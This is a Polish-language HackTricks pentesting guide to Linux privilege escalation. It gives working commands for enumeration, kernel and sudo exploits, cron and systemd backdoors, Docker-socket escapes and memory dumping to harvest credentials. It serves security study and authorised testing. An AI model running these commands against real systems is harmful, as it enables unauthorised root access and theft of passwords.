Linux Privilege Escalation

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Informacje o systemie

Informacje o systemie operacyjnym

Zacznijmy zdobywać pewną wiedzę na temat działającego systemu operacyjnego.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Ścieżka

Jeśli masz uprawnienia do zapisu w dowolnym folderze w zmiennej PATH, możesz próbować przejąć kontrolę nad niektórymi bibliotekami lub plikami binarnymi:

echo $PATH

Informacje o środowisku

Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API?

(env || set) 2>/dev/null

Wykorzystania jądra

Sprawdź wersję jądra i czy istnieje jakiś exploit, który może zostać wykorzystany do eskalacji uprawnień

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Możesz znaleźć dobrą listę podatnych jąder oraz już skompilowane exploit'y tutaj: https://github.com/lucyoa/kernel-exploits oraz exploitdb sploits. Inne strony, gdzie można znaleźć skompilowane exploit'y: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Aby wyodrębnić wszystkie podatne wersje jądra z tej strony, można użyć:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (wykonaj NA ofierze, sprawdza tylko exploity dla jądra 2.x)

Zawsze sprawdź wersję jądra w Google, być może Twoja wersja jądra jest wymieniona w jakimś exploicie jądra, wtedy będziesz pewien, że ten exploit jest ważny.

CVE-2016-5195 (DirtyCow)

Eskalacja uprawnień w systemie Linux - Jądro Linux <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Wersja Sudo

Na podstawie podatnych wersji sudo, które występują w:

searchsploit sudo

Możesz sprawdzić, czy wersja sudo jest podatna, używając tego polecenia grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Od @sickrov

sudo -u#-1 /bin/bash

Weryfikacja podpisu Dmesg nie powiodła się

Sprawdź skrzynkę smasher2 HTB w celu uzyskania przykładu, jak ta podatność mogłaby zostać wykorzystana

dmesg 2>/dev/null | grep "signature"

Więcej wyliczeń systemowych

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Wymień możliwe obrony

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Ucieczka z Docker

Jeśli jesteś wewnątrz kontenera Dockera, możesz spróbować z niego uciec:

pageDocker Security

Dyski

Sprawdź, co jest zamontowane i odmontowane, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować je zamontować i sprawdzić prywatne informacje.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Przydatne oprogramowanie

Wylicz użyteczne pliki binarne

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Sprawdź również, czy zainstalowano jakikolwiek kompilator. Jest to przydatne, jeśli musisz użyć jakiegoś exploitu jądra, ponieważ zaleca się kompilowanie go na maszynie, na której zamierzasz go użyć (lub na podobnej).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Zainstalowane oprogramowanie podatne

Sprawdź wersję zainstalowanych pakietów i usług. Być może istnieje stara wersja Nagiosa (na przykład), która może być wykorzystana do eskalacji uprawnień... Zaleca się ręczne sprawdzenie wersji najbardziej podejrzanego zainstalowanego oprogramowania.

dpkg -l #Debian
rpm -qa #Centos

Jeśli masz dostęp SSH do maszyny, możesz również użyć openVAS do sprawdzenia, czy zainstalowane wewnątrz maszyny oprogramowanie jest przestarzałe i podatne na ataki.

Zauważ, że te polecenia pokażą wiele informacji, które będą w większości bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na znane exploity

Procesy

Sprawdź, jakie procesy są uruchomione i sprawdź, czy którykolwiek proces ma więcej uprawnień niż powinien (być może tomcat uruchamiany przez root?)

ps aux
ps -ef
top -n 1

Zawsze sprawdzaj, czy są uruchomione debuggery electron/cef/chromium, możesz je wykorzystać do eskalacji uprawnień. Linpeas wykrywa je, sprawdzając parametr --inspect w wierszu poleceń procesu. Sprawdź również swoje uprawnienia do binarnych procesów, być może możesz je nadpisać.

Monitorowanie procesów

Możesz użyć narzędzi takich jak pspy do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów wykonywanych często lub gdy spełnione są określone wymagania.

Pamięć procesu

Niektóre usługi serwera przechowują poświadczenia w postaci tekstu jawnego w pamięci. Zazwyczaj będziesz potrzebować uprawnień roota do odczytania pamięci procesów należących do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej poświadczeń. Jednak pamiętaj, że jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz.

Zauważ, że obecnie większość maszyn nie zezwala domyślnie na ptrace, co oznacza, że nie możesz dumpować innych procesów należących do twojego użytkownika bez uprawnień.

Plik /proc/sys/kernel/yama/ptrace_scope kontroluje dostępność ptrace:

  • kernel.yama.ptrace_scope = 0: wszystkie procesy mogą być debugowane, o ile mają takie same uid. To klasyczny sposób działania ptrace.

  • kernel.yama.ptrace_scope = 1: tylko proces nadrzędny może być debugowany.

  • kernel.yama.ptrace_scope = 2: Tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE.

  • kernel.yama.ptrace_scope = 3: Żaden proces nie może być śledzony za pomocą ptrace. Po ustawieniu wymagany jest restart, aby ponownie włączyć śledzenie ptrace.

GDB

Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać dostęp do sterty i przeszukać jej poświadczenia.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

Skrypt GDB

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Dla określonego identyfikatora procesu mapy pokazują, jak pamięć jest odwzorowana w przestrzeni adresowej tego procesu; pokazują również uprawnienia każdego odwzorowanego obszaru. Plik pseudopamięci mem ujawnia samą pamięć procesów. Z pliku maps wiemy, które obszary pamięci są odczytywalne i ich przesunięcia. Wykorzystujemy tę informację, aby przeszukać plik mem i zrzucić wszystkie odczytywalne obszary do pliku.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem zapewnia dostęp do fizycznej pamięci systemu, a nie do pamięci wirtualnej. Przestrzeń adresowa wirtualna jądra może być dostępna za pomocą /dev/kmem. Zazwyczaj /dev/mem jest tylko do odczytu przez użytkownika root i grupę kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump dla systemu Linux

ProcDump to linuxowa reinterpretacja klasycznego narzędzia ProcDump z pakietu narzędzi Sysinternals dla systemu Windows. Pobierz go z https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Narzędzia

Aby zrzucić pamięć procesu, możesz użyć:

Dane uwierzytelniające z pamięci procesu

Przykład ręczny

Jeśli zauważysz, że proces autentykatora jest uruchomiony:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Możesz wyświetlić zawartość procesu (zobacz poprzednie sekcje, aby znaleźć różne sposoby na wyświetlenie pamięci procesu) i wyszukać poświadczenia w pamięci:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Narzędzie https://github.com/huntergregal/mimipenguin ukradnie hasła w postaci tekstu jawnego z pamięci oraz z niektórych znanych plików. Do poprawnego działania wymaga uprawnień roota.

FunkcjaNazwa procesu

Hasło GDM (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Aktywne połączenia FTP)

vsftpd

Apache2 (Aktywne sesje HTTP Basic Auth)

apache2

OpenSSH (Aktywne sesje SSH - Użycie Sudo)

sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Zaplanowane/Cron zadania

Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Być może możesz skorzystać z skryptu wykonywanego przez użytkownika root (podatność na symbol wieloznaczny? czy można modyfikować pliki używane przez roota? użyć dowiązań symbolicznych? utworzyć określone pliki w katalogu używanym przez roota?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Ścieżka Crona

Na przykład, wewnątrz /etc/crontab można znaleźć ścieżkę: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user)

Jeśli w tej crontabie użytkownik root spróbuje wykonać pewne polecenie lub skrypt bez ustawiania ścieżki. Na przykład: * * * * root overwrite.sh W takim przypadku, można uzyskać powłokę roota używając:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron używający skryptu z symbolem wieloznacznym (Wstrzyknięcie Symboli)

Jeśli skrypt jest wykonywany przez roota i zawiera „*” wewnątrz polecenia, można to wykorzystać do wykonania nieoczekiwanych działań (np. eskalacji uprawnień). Przykład:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Jeśli symbol wieloznaczny poprzedza ścieżkę, na przykład /some/path/*, to nie jest podatne na atak (nawet ./* też nie jest).

Przeczytaj następną stronę, aby poznać więcej sztuczek związanych z wykorzystaniem symboli wieloznacznych:

pageWildcards Spare tricks

Jeśli możesz modyfikować skrypt Cron wykonywany przez użytkownika root, możesz bardzo łatwo uzyskać dostęp do powłoki:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Jeśli skrypt wykonany przez root używa katalogu, w którym masz pełny dostęp, być może przydatne będzie usunięcie tego folderu i utworzenie symlinku do innego katalogu, w którym znajduje się skrypt kontrolowany przez ciebie

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Częste zadania cron

Możesz monitorować procesy, aby wyszukać te, które są wykonywane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i uzyskać wyższe uprawnienia.

Na przykład, aby monitorować co 0,1s przez 1 minutę, sortować według mniej wykonywanych poleceń i usuwać polecenia, które zostały wykonane najczęściej, możesz wykonać:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Możesz również użyć pspy (to narzędzie monitoruje i wyświetla każdy proces, który się uruchamia).

Niewidoczne zadania cron

Możliwe jest utworzenie zadania cron, dodając znak powrotu karetki po komentarzu (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Usługi

Pliki .service z możliwością zapisu

Sprawdź, czy możesz zapisać jakikolwiek plik .service, jeśli tak, możesz go zmodyfikować, aby wykonywał twój tylny wejście po uruchomieniu, ponownym uruchomieniu lub zatrzymaniu usługi (być może będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona). Na przykład, stwórz swoje tylne wejście wewnątrz pliku .service za pomocą ExecStart=/tmp/script.sh

Binaria usług z możliwością zapisu

Pamiętaj, że jeśli masz uprawnienia do zapisu nad binariami wykonywanymi przez usługi, możesz je zmienić na tylne wejścia, więc gdy usługi zostaną ponownie uruchomione, tylne wejścia zostaną wykonane.

Ścieżki systemd - Ścieżki względne

Możesz zobaczyć używaną ścieżkę systemd za pomocą:

systemctl show-environment

Jeśli odkryjesz, że możesz zapisywać w którymkolwiek z folderów ścieżki, możesz mieć możliwość eskalacji uprawnień. Musisz szukać plików konfiguracyjnych usług, w których używane są ścieżki względne.

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Następnie utwórz wykonywalny plik o takiej samej nazwie jak względna ścieżka binarna w folderze ścieżki systemd, w którym możesz pisać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (Start, Stop, Reload), zostanie wykonane twoje tylne drzwi (zwykle nieuprawnieni użytkownicy nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć sudo -l).

Dowiedz się więcej o usługach za pomocą man systemd.service.

Timery

Timery to pliki jednostek systemd, których nazwa kończy się na **.timer**, kontrolujące pliki lub zdarzenia **.service**. Timery mogą być używane jako alternatywa dla cron, ponieważ posiadają wbudowane wsparcie dla zdarzeń kalendarzowych i zdarzeń czasu monotonicznego oraz mogą być uruchamiane asynchronicznie.

Możesz wyświetlić wszystkie timery za pomocą:

systemctl list-timers --all

Zapisywalne timery

Jeśli możesz zmodyfikować timer, możesz sprawić, że będzie wykonywał istniejące jednostki systemd (takie jak .service lub .target)

Unit=backdoor.service

W dokumentacji można przeczytać, co to jest jednostka:

Jednostka do aktywacji po upływie tego timera. Argumentem jest nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określone, ta wartość domyślnie ustawia się na usługę, która ma taką samą nazwę jak jednostka timera, z wyjątkiem przyrostka. (Patrz powyżej.) Zaleca się, aby nazwa jednostki aktywowanej i nazwa jednostki timera były nazwane identycznie, z wyjątkiem przyrostka.

W związku z tym, aby nadużyć tego uprawnienia, musiałbyś:

  • Znaleźć jakąś jednostkę systemd (np. .service), która wykonuje zapisywalny plik binarny

  • Znaleźć jakąś jednostkę systemd, która wykonuje ścieżkę względną i masz uprawnienia do zapisu w ścieżce systemd (aby podszyć się pod ten plik wykonywalny)

Dowiedz się więcej o timerach za pomocą man systemd.timer.

Włączanie timera

Aby włączyć timer, potrzebujesz uprawnień roota i wykonaj:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

Zauważ, że timer jest aktywowany poprzez utworzenie symlinku do niego w /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Gniazda

Unix Domain Sockets (UDS) umożliwiają komunikację procesów na tych samych lub różnych maszynach w ramach modeli klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji międzykomputerowej i są konfigurowane za pomocą plików .socket.

Gniazda można skonfigurować za pomocą plików .socket.

Dowiedz się więcej o gniazdach za pomocą man systemd.socket. Wewnątrz tego pliku można skonfigurować kilka interesujących parametrów:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Te opcje są różne, ale podsumowanie jest używane do wskazania, gdzie będzie nasłuchiwać gniazdo (ścieżka pliku AF_UNIX socket, numer portu IPv4/6 itp.)

  • Accept: Przyjmuje argument logiczny. Jeśli jest true, instancja usługi jest uruchamiana dla każdego przychodzącego połączenia i tylko gniazdo połączenia jest do niej przekazywane. Jeśli jest false, wszystkie nasłuchujące gniazda same są przekazywane do uruchomionej jednostki usługi, i tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla gniazd datagramowych i FIFO, gdzie pojedyncza jednostka usługi bezwarunkowo obsługuje cały ruch przychodzący. Domyślnie false. Ze względów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla Accept=no.

  • ExecStartPre, ExecStartPost: Przyjmuje jedną lub więcej linii poleceń, które są wykonywane przed lub po utworzeniu i powiązaniu nasłuchujących gniazd/FIFO. Pierwszy token linii poleceń musi być bezwzględną nazwą pliku, a następnie argumenty dla procesu.

  • ExecStopPre, ExecStopPost: Dodatkowe polecenia, które są wykonywane przed lub po zamknięciu i usunięciu nasłuchujących gniazd/FIFO.

  • Service: Określa nazwę jednostki usługi do aktywacji na ruchu przychodzącym. To ustawienie jest dozwolone tylko dla gniazd z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co gniazdo (z zamienionym sufiksem). W większości przypadków nie powinno być konieczne korzystanie z tej opcji.

Zapisywalne pliki .socket

Jeśli znajdziesz zapisywalny plik .socket, możesz dodać na początku sekcji [Socket] coś w rodzaju: ExecStartPre=/home/kali/sys/backdoor, a backdoor zostanie wykonany przed utworzeniem gniazda. W związku z tym prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona. Zauważ, że system musi korzystać z tej konfiguracji pliku gniazda, w przeciwnym razie backdoor nie zostanie wykonany

Zapisywalne gniazda

Jeśli zidentyfikujesz jakiekolwiek zapisywalne gniazdo (teraz mówimy o gniazdach Unix, a nie o plikach konfiguracyjnych .socket), to możesz komunikować się z tym gniazdem i być może wykorzystać lukę w zabezpieczeniach.

Wylicz gniazda Unix

netstat -a -p --unix

Surowe połączenie

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Przykład eksploatacji:

pageSocket Command Injection

Gniazda HTTP

Zauważ, że mogą istnieć gniazda nasłuchujące żądania HTTP (Nie mówię o plikach .socket, ale o plikach działających jako gniazda Unix). Możesz to sprawdzić za pomocą:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Jeśli gniazdo odpowiada żądaniem HTTP, możesz z nim komunikować się i być może wykorzystać jakieś podatności.

Zapisywalne gniazdo Docker

Gniazdo Docker, często znajdujące się pod ścieżką /var/run/docker.sock, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest on zapisywalny przez użytkownika root i członków grupy docker. Posiadanie uprawnień do zapisu tego gniazda może prowadzić do eskalacji uprawnień. Oto analiza, jak to można zrobić, oraz alternatywne metody, jeśli interfejs wiersza poleceń Docker nie jest dostępny.

Eskalacja uprawnień za pomocą interfejsu wiersza poleceń Docker

Jeśli masz uprawnienia do zapisu gniazda Docker, możesz eskalować uprawnienia, korzystając z poniższych poleceń:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Korzystanie z interfejsu API Dockera bezpośrednio

W przypadkach, gdy interfejs wiersza poleceń Dockera nie jest dostępny, gniazdo Dockera nadal można manipulować za pomocą interfejsu API Dockera i poleceń curl.

  1. Wyświetlanie obrazów Dockera: Pobierz listę dostępnych obrazów.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Tworzenie kontenera: Wyślij żądanie utworzenia kontenera, który montuje katalog główny systemu hosta.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Uruchom nowo utworzony kontener:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Podłączanie do kontenera: Użyj socat do nawiązania połączenia z kontenerem, umożliwiając wykonanie poleceń wewnątrz niego.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Po skonfigurowaniu połączenia socat można wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta.

Inne

Zauważ, że jeśli masz uprawnienia do zapisu w gnieździe Dockera, ponieważ jesteś wewnątrz grupy docker, masz więcej sposobów na eskalację uprawnień. Jeśli interfejs API Dockera nasłuchuje na porcie możesz również go skompromitować.

Sprawdź więcej sposobów na wyjście z Dockera lub nadużycie go do eskalacji uprawnień w:

pageDocker Security

Eskalacja uprawnień Containerd (ctr)

Jeśli możesz użyć polecenia ctr, przeczytaj następną stronę, ponieważ możesz go wykorzystać do eskalacji uprawnień:

pageContainerd (ctr) Privilege Escalation

Eskalacja uprawnień RunC

Jeśli możesz użyć polecenia runc, przeczytaj następną stronę, ponieważ możesz go wykorzystać do eskalacji uprawnień:

pageRunC Privilege Escalation

D-Bus

D-Bus to zaawansowany system komunikacji międzyprocesowej (IPC), który umożliwia aplikacjom efektywną interakcję i udostępnianie danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidny framework do różnych form komunikacji aplikacji.

System jest wszechstronny, obsługując podstawową komunikację międzyprocesową, ułatwiającą wymianę danych między procesami, przypominającą ulepszone gniazda domeny UNIX. Ponadto wspiera nadawanie zdarzeń lub sygnałów, sprzyjając bezproblemowej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może skłonić odtwarzacz muzyki do wyciszenia, poprawiając wrażenia użytkownika. Ponadto D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które tradycyjnie były skomplikowane.

D-Bus działa w oparciu o model zezwól/odmów, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów, itp.) na podstawie skumulowanego efektu zgodności z zasadami polityki. Te zasady określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.

Przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf jest podany, szczegółowo opisując uprawnienia dla użytkownika roota do posiadania, wysyłania i odbierania wiadomości od fi.w1.wpa_supplicant1.

Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstu "domyślnego" mają zastosowanie do wszystkich, którzy nie są objęci innymi konkretnymi politykami.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Dowiedz się, jak wyliczyć i wykorzystać komunikację D-Bus tutaj:

pageD-Bus Enumeration & Command Injection Privilege Escalation

Sieć

Zawsze interesujące jest wyliczenie sieci i ustalenie pozycji maszyny.

Ogólne wyliczenie

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Otwarte porty

Zawsze sprawdzaj usługi sieciowe działające na maszynie, z którymi wcześniej nie byłeś w stanie współdziałać przed uzyskaniem do niej dostępu:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Podsłuchiwanie

Sprawdź, czy możesz podsłuchiwać ruch sieciowy. Jeśli tak, możesz być w stanie przechwycić pewne dane uwierzytelniające.

timeout 1 tcpdump

Użytkownicy

Ogólna enumeracja

Sprawdź kto jesteś, jakie uprawnienia posiadasz, którzy użytkownicy są w systemach, którzy mogą się zalogować oraz którzy mają uprawnienia root:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Duże UID

Niektóre wersje Linuxa były dotknięte błędem, który pozwala użytkownikom z UID > INT_MAX na eskalację uprawnień. Więcej informacji: tutaj, tutaj i tutaj. Wykorzystaj to używając: systemd-run -t /bin/bash

Grupy

Sprawdź, czy jesteś członkiem jakiejś grupy, która mogłaby przyznać Ci uprawnienia roota:

pageInteresting Groups - Linux Privesc

Schowek

Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Polityka hasła

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Znane hasła

Jeśli znasz jakiekolwiek hasło środowiska, spróbuj zalogować się jako każdy użytkownik, używając hasła.

Su Brute

Jeśli nie masz nic przeciwko generowaniu dużej ilości hałasu i binarne pliki su i timeout są obecne na komputerze, możesz spróbować przeprowadzić atak siłowy na użytkownika, korzystając z su-bruteforce. Linpeas z parametrem -a również próbuje przeprowadzić atak siłowy na użytkowników.

Nadużycia zapisywalnych ścieżek

$PATH

Jeśli odkryjesz, że możesz pisać wewnątrz pewnego folderu z $PATH, możesz próbować eskalować uprawnienia, tworząc tylną furtkę w zapisywalnym folderze o nazwie jakiejś komendy, która zostanie wykonana przez innego użytkownika (najlepiej roota) i która nie jest ładowana z foldera znajdującego się wcześniej w $PATH.

SUDO i SUID

Możesz mieć zezwolenie na wykonanie pewnej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to, używając:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Niektóre nieoczekiwane polecenia pozwalają na odczytanie i/lub zapisanie plików, a nawet wykonanie polecenia. Na przykład:

